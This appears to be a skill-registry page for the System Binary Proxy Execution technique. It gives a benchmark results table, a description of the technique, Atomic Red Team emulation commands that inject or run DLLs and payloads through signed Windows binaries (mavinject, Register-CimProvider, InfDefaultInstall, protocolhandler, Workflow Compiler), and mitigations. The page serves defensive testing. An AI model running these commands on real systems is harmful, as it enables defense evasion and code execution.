Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-03 | ✗→✓ | ▲ Improved | 62% | 0% |
| case-01 | ✗→✓ | ▲ Improved | 18% | 0% |
| case-02 | ✗→✓ | ▲ Improved | 33% | 0% |
| case-05 | ✗→✓ | ▲ Improved | 5% | 0% |
| case-06 | ✗→✓ | ▲ Improved | 60% | 0% |
Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.
Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.
Platforms: Windows, Linux, macOS
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.
Supported Platforms: windows Elevation Required: Yes
cmdmavinject.exe #{process_id} /INJECTRUNNING "#{dll_payload}"
Dependencies:
Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB
Supported Platforms: windows
cmdC:\Windows\SysWow64\Register-CimProvider.exe -Path "#{dll_payload}"
Dependencies:
Test execution of a .inf using InfDefaultInstall.exe
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml
Supported Platforms: windows
cmdInfDefaultInstall.exe "#{inf_to_execute}"
Dependencies:
Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.
Supported Platforms: windows
cmdFOR /F "tokens=2*" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe" /V PATH') do set microsoft_wordpath=%b call "%microsoft_wordpath%\protocolhandler.exe" "ms-word:nft|u|#{remote_url}"
Dependencies:
Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe
Supported Platforms: windows
powershell#{mwcpath}\#{mwcname} "#{xml_payload}" output.txt
Dependencies:
If Atomic Red Team tests are not applicable, manually verify the technique by:
Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using using trusted binaries to bypass application control.
Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.
Restrict execution of particularly vulnerable binaries to privileged accounts or groups that need to use it to lessen the opportunities for malicious usage.
Consider using application control to prevent execution of binaries that are susceptible to abuse and not required for a given system or network.
Many native binaries may not be necessary within a given environment.
Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.
| Finding | Severity | Impact | | -------------------------------------------------- | -------- | --------------- | | System Binary Proxy Execution technique applicable | Medium | Defense Evasion |
| CWE ID | Title | | ------- | ---------------------------- | | CWE-693 | Protection Mechanism Failure |
Other measured skills in the registry, with their headline benchmark lift.